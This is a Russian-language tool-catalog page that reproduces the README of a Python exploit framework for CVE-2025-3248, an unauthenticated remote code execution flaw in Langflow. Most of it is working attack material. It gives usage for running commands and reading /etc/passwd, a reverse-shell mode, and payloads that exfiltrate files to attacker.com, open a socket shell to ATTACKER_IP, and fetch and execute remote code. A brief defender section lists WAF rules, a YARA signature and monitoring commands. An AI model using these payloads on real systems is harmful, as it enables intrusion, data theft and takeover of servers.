Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2025-3248-exploit — Комплексный фреймворк для эксплуатации на Python для тестирования и демонстрации CVE-2025-3248, критической уязвимости удаленного выполнения кода без аутентификации в Langflow версии ≤ 1.3.0. | Kitploit
Инструменты/GitHubGitHub/drackyjr/cve-2025-3248-exploit
Сканеры уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийСбор информацииПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеОбучение и Образование
Red Teaming
Разработка Полезной Нагрузки
GitHubdrackyjr/cve-2025-3248-exploit

cve-2025-3248-exploit

Комплексный фреймворк для эксплуатации на Python для тестирования и демонстрации CVE-2025-3248, критической уязвимости удаленного выполнения кода без аутентификации в Langflow версии ≤ 1.3.0.

Репозиторий
3910 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-3248: Сканер уязвимости удаленного выполнения кода (RCE) без аутентификации в Langflow

License Python Status CVSS EPSS

Комплексный эксплойт-фреймворк на Python для тестирования и демонстрации CVE-2025-3248 — критической уязвимости удаленного выполнения кода без аутентификации в Langflow версий ≤ 1.3.0.


🔴 Обзор уязвимости

CVE-2025-3248: Внедрение кода в Langflow, приводящее к RCE

СвойствоЗначение
Идентификатор CVECVE-2025-3248
ПродуктLangflow
Затронутые версии≤ 1.3.0
Тип уязвимостиУдаленное выполнение кода без аутентификации (RCE)
Вектор атакиСеть
Требуется аутентификацияНет
Оценка CVSS9.8 (Critical)
Оценка EPSS92.57%
CWECWE-94 (Неправильный контроль генерации кода)
Уязвимая конечная точка/api/v1/validate/code

Коренная причина

Уязвимость существует в конечной точке API /api/v1/validate/code, которая принимает произвольный код Python и проверяет его с помощью небезопасной функции exec() без надлежащей санитизации ввода или изоляции. Уязвимость использует следующие особенности поведения Python:

  1. Декораторы выполняются немедленно при определении функции
  2. Значения аргументов по умолчанию выполняются во время разбора абстрактного синтаксического дерева (AST)
  3. Отсутствует проверка ввода, предотвращающая выполнение вредоносного кода

Цепочка атак

Атакующий → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   Аутентификация не требуется
     ↓
   Произвольный код Python
     ↓
   Выполнение системных команд

✨ Возможности

  • ✅ Обнаружение конечных точек: автоматически выявляет уязвимые экземпляры Langflow
  • ✅ Многоэтапное тестирование: 4 прогрессивных теста уязвимости
  • ✅ Выполнение команд: выполнение произвольных системных команд на цели
  • ✅ Извлечение окружения: получение переменных окружения и конфигурации
  • ✅ Файловые операции: тестирование возможности чтения/записи файлов
  • ✅ Поддержка обратной оболочки (reverse shell): создание интерактивных сессий обратной оболочки
  • ✅ Определение версии: получение информации о версии Langflow
  • ✅ Цветной вывод: улучшенная читаемость с помощью цветов терминала
  • ✅ Управление таймаутами: настраиваемые таймауты запросов
  • ✅ Обход SSL/TLS: поддержка самоподписанных сертификатов

📦 Требования

Python >= 3.7
requests >= 2.25.0

Установка зависимостей

pip install requests

Опционально (для улучшенного логирования)

pip install colorama  # Для поддержки цветов в Windows

🚀 Установка

Способ 1: Клонирование из GitHub

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 Использование

Базовый синтаксис

python3 cve_2025_3248_test.py -t <target_url> [options]

Примеры быстрого старта

1. Базовое сканирование уязвимости

python3 cve_2025_3248_test.py -t http://target.com

2. Выполнение пользовательской команды

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. Выполнение нескольких команд

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. Эксплуатация с обратной оболочкой (только авторизованное тестирование)

Шаг 1: Запустите слушатель netcat на вашей машине

nc -lvnp 4444

Шаг 2: Запустите эксплойт

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

Пример:

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. Сканирование с пользовательским таймаутом

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

Аргументы командной строки

positional arguments:
  None

optional arguments:
  -t, --target TARGET       Целевой URL (например, http://target.com) [ОБЯЗАТЕЛЬНО]
  -c, --command COMMAND     Команда для выполнения (по умолчанию: id)
  --timeout TIMEOUT         Таймаут запроса в секундах (по умолчанию: 10)
  --exploit                 Включить режим эксплуатации (обратная оболочка)
  --lhost LHOST             Ваш IP-адрес для обратной оболочки
  --lport LPORT             Ваш порт для обратной оболочки
  -h, --help                Показать это справочное сообщение

💾 Варианты полезной нагрузки (payload)

1. Выполнение через декоратор

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. Выполнение через аргумент по умолчанию

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. Экфильтрация данных

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. Обратная оболочка (однострочник)

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. Операции чтения файла

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. Перечисление переменных окружения

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. Загрузка и выполнение

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 Обнаружение и смягчение

Для защитников

Немедленные действия

  1. Обновить Langflow

    pip install langflow>=1.3.0
    # или
    docker pull langflow:latest
    
  2. Ограничить сетевой доступ

    # Обратный прокси Nginx — блокировать уязвимую конечную точку
    location /api/v1/validate/code {
        deny all;
    }
    
  3. Внедрить аутентификацию

    # Добавить middleware аутентификации
    @app.middleware("http")
    async def auth_middleware(request, call_next):
        if "/api/v1/validate/code" in request.url.path:
            if not verify_auth(request):
                return JSONResponse(status_code=401)
        return await call_next(request)
    

Правила WAF

Правило ModSecurity:

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

Правила обнаружения

Сигнатура YARA:

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

Мониторинг и логирование

# Мониторинг подозрительных запросов
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# Оповещение о POST-запросах к уязвимой конечной точке
auditctl -w /var/lib/langflow -p wa -k langflow_changes

Индикаторы компрометации (IoC)

Скачать инструмент